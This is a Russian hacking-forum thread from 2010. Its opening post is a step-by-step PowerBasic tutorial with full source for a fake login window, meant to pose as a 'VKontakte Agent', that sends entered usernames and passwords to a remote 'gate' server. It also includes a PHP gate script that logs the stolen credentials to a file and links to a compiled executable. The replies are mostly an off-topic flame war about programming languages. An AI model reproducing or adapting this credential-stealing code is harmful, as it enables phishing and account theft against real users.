[PowerBasic] отправка login/pass на гейт
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
[PowerBasic] отправка login/pass на гейт - 2010-08-08 18:51:55.776666
|
|
|
Selofan
Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
|
итак, что будет делать программа - юзер вводит логин/пароль, нажимает "Отправить", и всё это уходит к вам на гейт. выглядеть это будет примерно так Начинаем кодить на ПаверВасике все екзешники начинаются примерно одинаково quote:
#COMPILER PBWIN 9 #COMPILE EXE #DIM ALL затем укажем файл ресурсов. он отличается от стандарта, но вместе с павервасиком идёт конвертер. простым драгенддропом получаем нужный формат. файл ресурсов должен быть в той же папке, что и сам проект, иначе нужно указывать полный путь, типа "C:\OLOLO\TROLOLO.pbr" quote:
#RESOURCE "Resources.pbr" дальше инклуд апи. в данном примере он нужен разве что для показа меседжбоксов. quote:
#INCLUDE "Win32API.inc" некоторые переменные quote:
GLOBAL hDlg AS DWORD ' тут храним хендл нашей формы GLOBAL hThread AS DWORD ' тут храним хендл потока начинаем родить фейс нашей программы. всё прокомментировано, непоняток не должно быть. quote:
FUNCTION PBMAIN () AS LONG DIALOG NEW 0, "Отправлялка",,, 156, 118, %DS_CENTER OR %WS_CAPTION OR %WS_SYSMENU OR %WS_MINIMIZEBOX, 0 TO hDlg ' создаём новое окно DIALOG SET ICON hDlg, "#1" ' берем иконку для окна из ресурса CONTROL ADD LABEL, hDlg, -1, "Логин:", 16, 14, 40, 8 ' создаём лейбл CONTROL ADD TEXTBOX, hDlg, 100, "", 16, 24, 124, 13, %WS_TABSTOP OR %WS_CHILD OR %ES_WANTRETURN OR %ES_AUTOHSCROLL, %WS_EX_CLIENTEDGE ' создаём текстбокс для ввода логина CONTROL SEND hDlg, 100, %EM_SETMARGINS, %EC_LEFTMARGIN OR %EC_RIGHTMARGIN, MAK(LONG, 0,0) ' отступы в текстбоксе CONTROL ADD LABEL, hDlg, -2, "Пароль:", 16, 50, 40, 8 ' создаём лейбл CONTROL ADD TEXTBOX, hDlg, 101, "", 16, 60, 124, 13, %WS_TABSTOP OR %WS_CHILD OR %ES_WANTRETURN OR %ES_PASSWORD OR %ES_AUTOHSCROLL, %WS_EX_CLIENTEDGE ' создаём текстбокс для ввода пароля CONTROL SEND hDlg, 101, %EM_SETMARGINS, %EC_LEFTMARGIN OR %EC_RIGHTMARGIN, MAK(LONG, 0,0) ' отступы в текстбоксе CONTROL ADD BUTTON, hDlg, 102, "Отправить", 16, 90, 55, 15, %BS_PUSHBUTTON OR %WS_CHILD OR %WS_VISIBLE OR %WS_TABSTOP ' создаём кнопку "Отправить" (ID 102) CONTROL ADD BUTTON, hDlg, 103, "Выход", 85, 90, 55, 15, %BS_PUSHBUTTON OR %WS_CHILD OR %WS_VISIBLE OR %WS_TABSTOP ' создаём кнопку "Выход" (ID 103) DIALOG SHOW MODAL hDlg, CALL WndProc ' показываем созданную форму END FUNCTION колбэк функция. тут обрабатываем все события окна quote:
CALLBACK FUNCTION WndProc () AS LONG SELECT CASE CBMSG ' ловим сообщения CASE %WM_COMMAND ' если это комманда SELECT CASE CBCTL ' смотрим контролы CASE 102 ' если это кнопка "Отправить" (ID 102) IF CBCTLMSG = %BN_CLICKED OR CBCTLMSG = 1 THEN ' если кнопка была нажата ' делаем контролы неактивными на время запроса CONTROL DISABLE hDlg, -1 CONTROL DISABLE hDlg, -2 CONTROL DISABLE hDlg, 100 CONTROL DISABLE hDlg, 101 CONTROL DISABLE hDlg, 102 CONTROL DISABLE hDlg, 103 ' создаем поток THREAD CREATE mThread(hDlg) TO hThread END IF CASE 103 ' если нажата кнопка "Выход" (ID 103) DIALOG END CB.HNDL, 0 ' выходим END SELECT END SELECT END FUNCTION что будем делать в потоке. гемор с ENABLE/DISABLE контролов сделан для наглядности. quote:
FUNCTION mThread(BYVAL hDlg AS DWORD) AS LONG LOCAL hRes AS LONG ' тут вместо моего лепите свой урл. в первом параметре урл, во втором ссылка на страницу (если требуется) IF SendHTTP("sluter.realms.biz", "") = 1 THEN MessageBox(hDlg, "Данные успешно отправлены", "Информация", %MB_ICONINFORMATION OR %MB_OK) ' активируем контролы CONTROL ENABLE hDlg, -1 CONTROL ENABLE hDlg, -2 CONTROL ENABLE hDlg, 100 CONTROL ENABLE hDlg, 101 CONTROL ENABLE hDlg, 102 CONTROL ENABLE hDlg, 103 THREAD CLOSE hThread TO hRes ' убиваем поток END FUNCTION и самое главное - функция отправки запроса серверу quote:
FUNCTION SendHTTP(WWW AS STRING, PageName AS STRING) AS LONG LOCAL hFile&, sTemp$,sBuffer$ LOCAL mPost,mLogin,mPass AS STRING hFile = FREEFILE ' свободная касса CONTROL GET TEXT hDlg, 100 TO mLogin ' берем логин с текстбокса и пишем в переменную CONTROL GET TEXT hDlg, 101 TO mPass ' берем пароль с текстбокса и пишем в переменную IF LEN(mLogin) = 0 OR LEN(mPass) = 0 THEN MessageBox(hDlg, "Заполните все поля", "Ошибка", %MB_ICONSTOP OR %MB_OK): SendHTTP = 0: EXIT FUNCTION ' если какой-то текстбокс пустой - сваливаем TCP OPEN "http" AT WWW$ AS #hFile TIMEOUT 10000 ' коннектимся к серверу. таймаут 10 секунд, после чего произойдёт ошибка IF ERR THEN MessageBox(hDlg, "Не удается подключиться к серверу", "Ошибка", %MB_ICONSTOP OR %MB_OK): SendHTTP = 0: EXIT FUNCTION ' если ошибка (или нет инета, или урл корявый, или ещё что) - бибикаем и сваливаем IF LEFT$(PageName,1) <> "/" THEN PageName = "/" + PageName ' смотрим, есть ли слеш слева в ссылке на страницу ' формируем запрос и пишем в переменную mPost = "Login=" + mLogin + "&Pass=" + mPass sTemp = "POST " + PageName + " HTTP/1.0" + $CRLF sTemp = sTemp + "Connection: Keep-Alive" + $CRLF sTemp = sTemp + "Content-Type: application/x-www-form-urlencoded" + $CRLF sTemp = sTemp + "Content-Length: " + STR$(LEN(mPost)) + $CRLF sTemp = sTemp + "Host: " & WWW$ + $CRLF sTemp = sTemp + "Accept: */*" + $CRLF sTemp = sTemp + "User-Agent: Mozilla/3.0 (compatible)" + $CRLF + $CRLF sTemp = sTemp + mPost + $CRLF + $CRLF TCP SEND #hFile, sTemp ' отправляем сформированный пакет sTemp = "" ' очищаем переменную DO ' начало цикла TCP RECV #hFile,4096, sBuffer ' получаем ответ с сервера sTemp = sTemp & sBuffer ' записываем/дописываем в переменную IF ISTRUE ERR THEN MessageBox(hDlg, "Возникла ошибка при приеме данных с сервера", "Ошибка", %MB_ICONSTOP OR %MB_OK): SendHTTP = 0: TCP CLOSE hFile: EXIT FUNCTION ' ' если не удается законнектиться - показываем месагу и сваливаем LOOP UNTIL sBuffer = "" OR ISTRUE EOF(#hFile) ' продолжаем цикл, пока не получим все пакеты TCP CLOSE hFile ' закрываем соединение SendHTTP = 1 ' успех END FUNCTION вот и всё. сверху можно присобачить какой-то рисунок "Вконтакте Агент", чуть довести до ума внешний вид, и можно смело грабить корованы. Так же не забудьте подправить под своего хостера отправляемый POST-запрос. В архиве скомпилированный екзешник и исходники. Екзешник из архива отправляет инфу сюда http://sluter.realms.biz/Login.txt http://letitbit.net/download/38274.38b6cc0cf35e97bacd7e05ebe/Gate.rar.html http://depositfiles .com/files/rn9vhe1oa пример гейта quote:
<?PHP $Login = $_POST['Login']; $Pass = $_POST['Pass']; $c = "$Login:$Pass"; $fp = fopen("Login.txt","a+"); // fwrite($fp,"$c \n"); fclose($fp); ?> ПаверВасик ищите в гугле. Последняя версия 9.05 Дерзайте.
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-08 20:03:01.360000
|
|
|
stu5002
Сообщений: 61
Оценки: 0
Присоединился: 2009-03-26 17:54:30.160000
|
Беспалевно для пользователя)
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-08 20:48:57.843333
|
|
|
egor455
Сообщений: 200
Оценки: 0
Присоединился: 2010-07-29 15:29:29
|
quote:
Беспалевно для пользователя) согласен ток новичку с этой статьёй не управится слишком много кодировки попробуй прописать подробнее что было легче новичку
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-08 22:27:17.813333
|
|
|
Selofan
Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
|
те, кто когда либо писал на визуальном барсике, ничего непонятного не встретят.
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-08 22:55:45.403333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
quote:
ORIGINAL: Selofan те, кто когда либо писал на визуальном барсике, ничего непонятного не встретят. Те, кто писал на нормальных языках это даже смотреть не будут.
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-08 23:35:37.563333
|
|
|
Selofan
Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
|
quote:
Те, кто писал на нормальных языках это даже смотреть не будут. мне влом по новой печатать много буковок, посему перечитай эту тему https://hacker-pro.net/showthread.php?t=16868 я так подозреваю что ты тоже готов показать свои наработки только за 50 баксов? ;) всегда умиляли такие ололошки. либо аргументируй, либо с тобой тоже всё понятно. ;)
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 12:49:13.473333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
"Мои наработки" являются интеллектуальной собственностью дядек, которые мне за них платят деньги. Насчёт того, что всё это фигня и т.п. можешь даже не писать, ибо совсем недавно был случай, что один из ещё не выпущенных продуктов нокии попал на файлообменник и мне моя позиция на работе значительно важнее того, чтобы доказывать очередному "гуру" повервасика то, что его Hello World с формочкой из 4-х контролов и использованием почтового компонента, что ничего революционного в его постах нет. Просто очередной школоло-язык для хэллоу вордов. P.S. что тебе аргументировать? Чем язык твой плох? Для начала напиши, что он умеет (есть ли нормальная IDE, библиотеки для работы с сетью / XML / базами и т.п., переносим ли он…). Потом уже поговорим.
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 13:40:23.816666
|
|
|
Selofan
Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
|
quote:
Просто очередной школоло-язык для хэллоу вордов. с++ очередное никому до конца не понятное трололо, на котором кодить нерентабельно, времязатратно и трудозатратно. это как делфи. всё ненужное и неэффективное сливается в СНГ. quote:
P.S. что тебе аргументировать? Чем язык твой плох? я это предложил сделать ещё в предыдущем посте. если переспросишь и третий раз - я и третий раз попрошу аргументировать. quote:
Для начала напиши, что он умеет (есть ли нормальная IDE, библиотеки для работы с сетью / XML / базами и т.п., переносим ли он…). Потом уже поговорим. зачем? я думал ты осведомлён о возможностях данного языка, раз так уверенно называешь его не нормальным. давай напомню и третий раз (чтоб переспрашивать не пришлось) - аргументируй. и на последок. гугл на запрос c++ programmer jobs и visual basic programmer jobs какбэ намекает.
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 14:29:52.106666
|
|
|
Fairhawk
Сообщений: 102
Оценки: 0
Присоединился: 2010-05-25 21:10:59.193333
|
quote:
с++ очередное никому до конца не понятное трололо, на котором кодить нерентабельно, времязатратно и трудозатратно. это как делфи. Лол)) Улыбнуло. Имхо тебе просто не даются другие языки, и ты всеми руками и ногами, цепляешься за этот "жалкий" бэйсик. Причем твой гонор, тут не чего не дает, всем и так ясно
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 15:30:39.076666
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
quote:
ORIGINAL: Selofan quote:
Просто очередной школоло-язык для хэллоу вордов. с++ очередное никому до конца не понятное трололо, на котором кодить нерентабельно, времязатратно и трудозатратно. это как делфи. всё ненужное и неэффективное сливается в СНГ. Пруфлинк про нерентабельность можно? Пример хоть одного "кросс-платформенного" языка, более популярного, чем С++ можешь привести? quote:
ORIGINAL: Selofan и на последок. гугл на запрос c++ programmer jobs и visual basic programmer jobs какбэ намекает. Денатурата на тебя нет…. Ты з/п и ценность с++ программеров сравни с васиками для начала. Ответить на мой вопрос про "преимущества повервасика перед другими языками" и наличия библиотек / IDE ты просто не в состоянии. Логично предположить, что ты - очередной тролль. Так что не вижу смысла продолжать дискуссию, если от тебя только "понты" без аргументов будут сыпаться.
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 16:44:02.046666
|
|
|
Fairhawk
Сообщений: 102
Оценки: 0
Присоединился: 2010-05-25 21:10:59.193333
|
quote:
Пример хоть одного "кросс-платформенного" языка, более популярного, чем С++ можешь привести? Perl
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 16:51:40.630000
|
|
|
Selofan
Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
|
quote:
Лол)) Улыбнуло. Имхо тебе просто не даются другие языки, и ты всеми руками и ногами, цепляешься за этот "жалкий" бэйсик. Причем твой гонор, тут не чего не дает, всем и так ясно ЛОЛ - это аббревиатура. риальни ЛОЛ. ещё напиши чмоке в етам чяте, чтоб развеять все сомнения на счёт школьника. иди пиши всяких Алгоритмах и девелстудиях. ты не в теме. quote:
Пруфлинк про нерентабельность можно? я ещё не увидел линков на твои поделки. переставай сливать. quote:
Пример хоть одного "кросс-платформенного" языка, более популярного, чем С++ можешь привести? кому нужна твоя кроссплатформенность? сейчас даже банкоматы в селе Нижний Хрен работают на окнах. но это обычная черта деградирующих постоянно цепляться за кросплатформенность. этот аргумент устарел. возвращайся в наш век, марти. quote:
Денатурата на тебя нет…. Ты з/п и ценность с++ программеров сравни с васиками для начала. кому нужна твоя ценность? тебе сколько лет? сейчас важна скорость разработки, а не ценность. тебе никто не будет попку подтирать и ждать неделями твоего проэкта только потому, что ты такой крутой и невьебенный, пишешь на си. да всем срать на чём ты пишешь. просыпайся, ты застрял где-то в девяностых. quote:
Ответить на мой вопрос про "преимущества повервасика перед другими языками" и наличия библиотек / IDE ты просто не в состоянии. представить линки на свои невьебенные проекты ть не в состоянии. quote:
Логично предположить, что ты - очередной тролль. логично предположить, что ты очередной школьник, который слышал звон, но не знает где он. quote:
Так что не вижу смысла продолжать дискуссию, если от тебя только "понты" без аргументов будут сыпаться. ты похож на девчёнку, которая затеяла ссору, а потом кивает, мол с ней дружить никто не хочет. ты такой упоротый и твердолобый. давай начнём сначала. quote:
Те, кто писал на нормальных языках это даже смотреть не будут. ответь на вопрос про преимущества сиплюсов перед другими языками, а так же предоставь линки на свои реализованные проекты.
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 18:09:05.703333
|
|
|
Fairhawk
Сообщений: 102
Оценки: 0
Присоединился: 2010-05-25 21:10:59.193333
|
quote:
кому нужна твоя кроссплатформенность? сейчас даже банкоматы в селе Нижний Хрен работают на окнах Угу, сюда по твоей быдлятине, ты от туда же. quote:
представить линки на свои невьебенные проекты ть не в состоянии. Таких как ты, слишком много что бы кому каждому что то доказывать. лол) quote:
ты такой упоротый и твердолобый. давай начнём сначала. ты похож на девчёнку, которая затеяла ссору, а потом кивает, мол с ней дружить никто не хочет. а ты нет ? Жжешь)
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 18:10:35.453333
|
|
|
YUFICK
Сообщений: 11
Оценки: 0
Присоединился: 2006-12-12 20:43:27.563333
|
почему половина постов заканчивается ссорой ??? :@
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 18:16:48.746666
|
|
|
Flint_ta
Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
|
Selofan, поверь моему не слишком богатому опыту ~ 5 лет я ковыряю в отладчике различный софт, за это время PowerBasic попался может всего раза 2 и то в каких-то crackme. Сл-но никто ничего серьезного на нем не пишет.
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-10 15:30:55.063333
|
|
|
Selofan
Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
|
quote:
Угу, сюда по твоей быдлятине, ты от туда же. научись излагать свои мыслишки. перефразируй и попробуй ещё раз. угу. quote:
Таких как ты, слишком много что бы кому каждому что то доказывать. лол) таких как ты в интернет не пускают, пока уроки не сделаешь. ЛОЛ quote:
а ты нет ? Жжешь) ты забыл написать "фсем чмоке в етам чате. адинадин". школота detected. больше не отписывайся тут. не позорься. quote:
Selofan, поверь моему не слишком богатому опыту ~ 5 лет я ковыряю в отладчике различный софт, за это время PowerBasic попался может всего раза 2 и то в каких-то crackme. Сл-но никто ничего серьезного на нем не пишет. я вообще на павервасике не встречал ни единой проги. но суть не в павервасике, а в товарисче, который пришёл, навонял, пёрднув в лужу и скрылся, так и не представив хоть какой-то говьёный калькулятор на "нормальном" по его упоротому мнению языке. собственно это намекает.
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-10 16:43:29.613333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Где модеры… Предупреждение или бан троллю-топиккастеру за переход на личности и закрыть эту флудильню…
|
|
|
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-10 17:02:59.233333
|
|
|
Selofan
Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
|
где цирк! клоуна забыли!
|
|
|
|
|